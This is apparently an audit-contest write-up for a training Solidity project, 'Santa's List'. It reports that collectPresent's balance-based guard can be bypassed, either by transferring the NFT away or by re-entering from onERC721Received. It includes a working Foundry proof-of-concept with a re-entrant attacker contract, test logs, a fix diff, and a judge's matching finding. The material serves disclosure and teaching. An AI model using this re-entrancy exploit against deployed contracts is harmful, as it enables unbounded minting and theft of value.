Santa's List

AI First Flight #3

Beginner FriendlyFoundry

EXP

View results

Previous Next

Submission Details

Severity: high

Valid

collectPresent's one-per-address guard is balanceOf(msg.sender) > 0, so moving the NFT out (by transfer, or re-entrantly from onERC721Received) lets one address collect without limit and mint unlimited NFTs and SantaToken

friedsocks233

Root + Impact

Description

The README states that "An address is only allowed to collect 1 NFT per address, there is a check in the codebase to prevent someone from minting duplicate NFTs". The NatSpec of collectPresent says "addresses should not be able to collect more than once". A NICE address gets one NFT. An EXTRA_NICE address gets one NFT plus 1e18 SantaToken.
The only replay guard is balanceOf(msg.sender) > 0. Nothing records that an address has collected, and the list statuses are never cleared. The NFT is freely transferable, so a collector can move it to another address and call collectPresent again, as often as they like.
- A contract can do the same in a single transaction. OpenZeppelin 5.0.0 _safeMint sets the owner and balance before it calls onERC721Received (ERC721.sol lines 312-315). The callback can therefore transfer the new token out and re-enter collectPresent.
- In the EXTRA_NICE branch, i_santaToken.mint runs after _mintAndIncrement, so every frame mints another 1e18 SantaToken as it unwinds.
- As a secondary effect, the same guard blocks an eligible user who was sent an NFT before collecting.

// src/SantasList.sol, lines 147-166

function collectPresent() external {

if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {

revert SantasList__NotChristmasYet();

}

@> if (balanceOf(msg.sender) > 0) {

@> revert SantasList__AlreadyCollected();

@> }

if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {

_mintAndIncrement();

return;

} else if (

s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE

&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE

) {

@> _mintAndIncrement();

@> i_santaToken.mint(msg.sender);

return;

}

revert SantasList__NotNice();

}

Risk

Likelihood:

After Christmas, every NICE or EXTRA_NICE address can repeat the collection with ordinary transactions: collect, transferFrom the NFT to a second address, and collect again. This needs no re-entrancy, no privileged role and no special timing.
A contract wallet that Santa marks EXTRA_NICE collects N times in one transaction through its onERC721Received callback.

Impact:

The one-present-per-address invariant breaks, and SantaToken supply becomes unbounded.
- In the PoC, one EXTRA_NICE EOA minted 10 NFTs and 10e18 SantaToken in 10 rounds, and one contract minted 7 NFTs and 7e18 SantaToken in a single call.
- The extra SantaToken dilutes honest holders and buys further NFTs through buyPresent: 4 replays bought 4 more NFTs.
Any NICE address mints unbounded NFTs. That includes never-checked addresses, which read as NICE because of a separate root cause reported on its own.
- As a secondary, recoverable effect, an NFT transferred to an eligible user before they collect makes their collectPresent revert with AlreadyCollected until they move it out.

Proof of Concept

The PoC runs against the pinned OpenZeppelin 5.0.0 and the repo's own SantaToken build.

test_Baseline_SecondCollectRevertsWhileHoldingNFT: while the NFT stays put, a second collect reverts with AlreadyCollected.
test_SequentialReplay_ExtraNice_UnlimitedNFTsAndSantaToken: an EXTRA_NICE EOA alternates collectPresent and transferFrom 10 times. The sink holds 10 NFTs, the EOA holds 10e18 SantaToken, and its second-list status is still EXTRA_NICE afterwards.
test_SequentialReplay_InflatedSantaTokenBuysMorePresents: 4 replays mint 4e18 SantaToken, which buys 4 more NFTs, so 8 NFTs reach one address.
test_Reentrancy_SingleTx_ExtraNiceContract_MintsNNFTsAndNTokens: one attack() call by an EXTRA_NICE contract mints ids 0..6 to the sink plus 7e18 SantaToken. Inside every callback the contract already owns the new token and its SantaToken balance still reads 0, which proves the token mints happen while the frames unwind.
test_SequentialReplay_NiceAndNeverChecked_UnlimitedNFTs: a checked NICE address and a never-checked address collect 5 NFTs each.
test_ReverseDoS_UnsolicitedNFTBlocksEligibleUser: an NFT sent to bob before he collects makes his collectPresent revert. He recovers after moving it out.

File test/PoC_SL-02.t.sol:

// SPDX-License-Identifier: MIT

pragma solidity 0.8.22;

import {Test, console2} from "forge-std/Test.sol";

import {SantasList} from "../src/SantasList.sol";

import {SantaToken} from "../src/SantaToken.sol";

import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/// @dev Contract caller that, inside onERC721Received, moves the freshly minted

/// NFT out (it is already the owner) and re-enters collectPresent().

contract ReentrantCollector is IERC721Receiver {

SantasList internal immutable list;

SantaToken internal immutable token;

address internal immutable sink;

uint256 internal immutable maxDepth;

uint256 public depth;

uint256[] public santaTokenBalanceSeenInCallback;

bool public ownedTokenInsideCallback = true;

constructor(SantasList _list, address _sink, uint256 _maxDepth) {

list = _list;

token = SantaToken(_list.getSantaToken());

sink = _sink;

maxDepth = _maxDepth;

}

function attack() external {

list.collectPresent();

}

function onERC721Received(address, address, uint256 tokenId, bytes calldata) external returns (bytes4) {

require(msg.sender == address(list), "only list");

// _safeMint already set owner + balance before this callback (OZ 5.0.0 ERC721.sol L312-315)

if (list.ownerOf(tokenId) != address(this)) ownedTokenInsideCallback = false;

// SantaToken for this frame has NOT been minted yet (L162 runs after the callback)

santaTokenBalanceSeenInCallback.push(token.balanceOf(address(this)));

// Move the NFT out -> balanceOf(this) == 0 -> the only replay guard (L151) passes again

list.transferFrom(address(this), sink, tokenId);

depth++;

if (depth < maxDepth) {

list.collectPresent();

}

return IERC721Receiver.onERC721Received.selector;

}

function callbackCount() external view returns (uint256) {

return santaTokenBalanceSeenInCallback.length;

}

contract PoC_SL02 is Test {

SantasList internal santasList;

SantaToken internal santaToken;

address internal santa = makeAddr("santa");

address internal alice = makeAddr("alice"); // EXTRA_NICE EOA attacker

address internal aliceSink = makeAddr("aliceSink");

address internal niceUser = makeAddr("niceUser"); // NICE (checked by Santa)

address internal neverChecked = makeAddr("neverChecked"); // never touched by Santa

address internal bob = makeAddr("bob"); // honest EXTRA_NICE victim of reverse DoS

address internal griefer = makeAddr("griefer");

address internal sink = makeAddr("sink");

function setUp() public {

vm.prank(santa);

santasList = new SantasList();

santaToken = SantaToken(santasList.getSantaToken());

vm.startPrank(santa);

santasList.checkList(alice, SantasList.Status.EXTRA_NICE);

santasList.checkTwice(alice, SantasList.Status.EXTRA_NICE);

santasList.checkList(niceUser, SantasList.Status.NICE);

santasList.checkTwice(niceUser, SantasList.Status.NICE);

santasList.checkList(bob, SantasList.Status.EXTRA_NICE);

santasList.checkTwice(bob, SantasList.Status.EXTRA_NICE);

vm.stopPrank();

vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);

}

// ---------------------------------------------------------------------

// Baseline: while the NFT stays put, the guard does stop a second collect.

// ---------------------------------------------------------------------

function test_Baseline_SecondCollectRevertsWhileHoldingNFT() public {

vm.startPrank(alice);

santasList.collectPresent();

assertEq(santasList.balanceOf(alice), 1);

assertEq(santaToken.balanceOf(alice), 1e18);

vm.expectRevert(SantasList.SantasList__AlreadyCollected.selector);

santasList.collectPresent();

vm.stopPrank();

}

// ---------------------------------------------------------------------

// Limb 1 + 3: sequential replay by an EOA (no re-entrancy needed).

// EXTRA_NICE address collects, moves NFT out, collects again, N times.

// ---------------------------------------------------------------------

function test_SequentialReplay_ExtraNice_UnlimitedNFTsAndSantaToken() public {

uint256 rounds = 10;

vm.startPrank(alice);

for (uint256 i = 0; i < rounds; i++) {

santasList.collectPresent();

uint256 tokenId = i; // tokens minted 0,1,2,...

assertEq(santasList.ownerOf(tokenId), alice);

santasList.transferFrom(alice, aliceSink, tokenId);

}

vm.stopPrank();

console2.log("EOA rounds:", rounds);

console2.log("NFTs held by alice's sink:", santasList.balanceOf(aliceSink));

console2.log("SantaToken held by alice (wei):", santaToken.balanceOf(alice));

console2.log("SantaToken totalSupply (wei):", santaToken.totalSupply());

// One address collected `rounds` presents, violating "1 NFT per address"

assertEq(santasList.balanceOf(aliceSink), rounds);

assertEq(santaToken.balanceOf(alice), rounds * 1e18);

assertEq(santaToken.totalSupply(), rounds * 1e18);

// List status is never cleared -> she can keep going forever

assertEq(uint256(santasList.getNaughtyOrNiceTwice(alice)), uint256(SantasList.Status.EXTRA_NICE));

}

// ---------------------------------------------------------------------

// Limb 3 (cont.): the inflated SantaToken is spendable on buyPresent,

// buying further NFTs on top of the replayed ones.

// ---------------------------------------------------------------------

function test_SequentialReplay_InflatedSantaTokenBuysMorePresents() public {

uint256 rounds = 4;

vm.startPrank(alice);

for (uint256 i = 0; i < rounds; i++) {

santasList.collectPresent();

santasList.transferFrom(alice, aliceSink, i);

}

assertEq(santaToken.balanceOf(alice), rounds * 1e18);

// Spend the replay-minted tokens on presents

for (uint256 i = 0; i < rounds; i++) {

santasList.buyPresent(alice);

}

vm.stopPrank();

console2.log("NFTs bought with replay-minted SantaToken:", santasList.balanceOf(alice));

assertEq(santasList.balanceOf(alice), rounds);

assertEq(santasList.balanceOf(aliceSink), rounds);

// 2*rounds NFTs flowed to one EXTRA_NICE address instead of 1

assertEq(santasList.balanceOf(alice) + santasList.balanceOf(aliceSink), 2 * rounds);

}

// ---------------------------------------------------------------------

// Limb 2 + 3: single-transaction re-entrancy from a contract caller.

// ---------------------------------------------------------------------

function test_Reentrancy_SingleTx_ExtraNiceContract_MintsNNFTsAndNTokens() public {

uint256 depthN = 7;

ReentrantCollector attacker = new ReentrantCollector(santasList, sink, depthN);

vm.startPrank(santa);

santasList.checkList(address(attacker), SantasList.Status.EXTRA_NICE);

santasList.checkTwice(address(attacker), SantasList.Status.EXTRA_NICE);

vm.stopPrank();

attacker.attack(); // ONE external call

console2.log("Re-entrant frames:", attacker.callbackCount());

console2.log("NFTs in sink after one tx:", santasList.balanceOf(sink));

console2.log("SantaToken held by attacker contract (wei):", santaToken.balanceOf(address(attacker)));

assertEq(attacker.callbackCount(), depthN);

assertEq(santasList.balanceOf(sink), depthN);

assertEq(santasList.balanceOf(address(attacker)), 0);

assertEq(santaToken.balanceOf(address(attacker)), depthN * 1e18);

assertEq(santaToken.totalSupply(), depthN * 1e18);

// CEI break: inside every callback the contract already owned the token,

// and no SantaToken had been minted yet -> all N mints happen while unwinding.

assertTrue(attacker.ownedTokenInsideCallback());

for (uint256 i = 0; i < depthN; i++) {

assertEq(attacker.santaTokenBalanceSeenInCallback(i), 0);

}

// distinct ids 0..N-1 all exist and sit in the sink

for (uint256 id = 0; id < depthN; id++) {

assertEq(santasList.ownerOf(id), sink);

}

// ---------------------------------------------------------------------

// Limb 4: any NICE address gets unlimited NFTs; amplified by default-NICE

// (a never-checked address also passes, because Status.NICE == 0).

// ---------------------------------------------------------------------

function test_SequentialReplay_NiceAndNeverChecked_UnlimitedNFTs() public {

uint256 rounds = 5;

uint256 nextId = 0;

vm.startPrank(niceUser);

for (uint256 i = 0; i < rounds; i++) {

santasList.collectPresent();

santasList.transferFrom(niceUser, sink, nextId++);

}

vm.stopPrank();

// Amplifier (separate default-NICE root cause): never-checked address

assertEq(uint256(santasList.getNaughtyOrNiceOnce(neverChecked)), uint256(SantasList.Status.NICE));

vm.startPrank(neverChecked);

for (uint256 i = 0; i < rounds; i++) {

santasList.collectPresent();

santasList.transferFrom(neverChecked, sink, nextId++);

}

vm.stopPrank();

console2.log("NFTs collected by 2 NICE addresses:", santasList.balanceOf(sink));

assertEq(santasList.balanceOf(sink), 2 * rounds);

assertEq(santaToken.totalSupply(), 0); // NICE leg: NFTs only

}

// ---------------------------------------------------------------------

// Limb 5 (secondary, recoverable): an unsolicited NFT transferred in

// blocks an eligible user's collectPresent with AlreadyCollected.

// ---------------------------------------------------------------------

function test_ReverseDoS_UnsolicitedNFTBlocksEligibleUser() public {

// Griefer gets an NFT (here: via the default-NICE path) and gifts it to bob

vm.prank(griefer);

santasList.collectPresent();

uint256 gifted = 0;

vm.prank(griefer);

santasList.transferFrom(griefer, bob, gifted);

// Bob (EXTRA_NICE, never collected) is now locked out

assertEq(santaToken.balanceOf(bob), 0);

vm.prank(bob);

vm.expectRevert(SantasList.SantasList__AlreadyCollected.selector);

santasList.collectPresent();

assertEq(santaToken.balanceOf(bob), 0); // has not received his SantaToken

// Recoverable: bob moves the unsolicited NFT out, then collects normally

vm.startPrank(bob);

santasList.transferFrom(bob, griefer, gifted);

santasList.collectPresent();

vm.stopPrank();

assertEq(santasList.balanceOf(bob), 1);

assertEq(santaToken.balanceOf(bob), 1e18);

}

Run from the repository root:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_SL-02.t.sol -vv

Result:

Ran 6 tests for test/PoC_SL-02.t.sol:PoC_SL02

[PASS] test_Baseline_SecondCollectRevertsWhileHoldingNFT() (gas: 143141)

[PASS] test_Reentrancy_SingleTx_ExtraNiceContract_MintsNNFTsAndNTokens() (gas: 1167097)

Logs:

Re-entrant frames: 7

NFTs in sink after one tx: 7

SantaToken held by attacker contract (wei): 7000000000000000000

[PASS] test_ReverseDoS_UnsolicitedNFTBlocksEligibleUser() (gas: 218649)

[PASS] test_SequentialReplay_ExtraNice_UnlimitedNFTsAndSantaToken() (gas: 593892)

Logs:

EOA rounds: 10

NFTs held by alice's sink: 10

SantaToken held by alice (wei): 10000000000000000000

SantaToken totalSupply (wei): 10000000000000000000

[PASS] test_SequentialReplay_InflatedSantaTokenBuysMorePresents() (gas: 402978)

Logs:

NFTs bought with replay-minted SantaToken: 4

[PASS] test_SequentialReplay_NiceAndNeverChecked_UnlimitedNFTs() (gas: 511977)

Logs:

NFTs collected by 2 NICE addresses: 10

Suite result: ok. 6 passed; 0 failed; 0 skipped

Recommended Mitigation

Record collection per address, set the flag before any external call, and mint the SantaToken before the _safeMint callback. A failing status check reverts the whole call, which also undoes the flag. The flag also removes the reverse-DoS effect, because an incoming NFT no longer blocks collection.

mapping(address person => Status naughtyOrNice) private s_theListCheckedTwice;

+ mapping(address person => bool collected) private s_hasCollected;

- if (balanceOf(msg.sender) > 0) {

+ if (s_hasCollected[msg.sender]) {

revert SantasList__AlreadyCollected();

}

+ s_hasCollected[msg.sender] = true;

- _mintAndIncrement();

- i_santaToken.mint(msg.sender);

+ i_santaToken.mint(msg.sender);

+ _mintAndIncrement();

return;

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago

Submission Judgement Published

Validated

Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!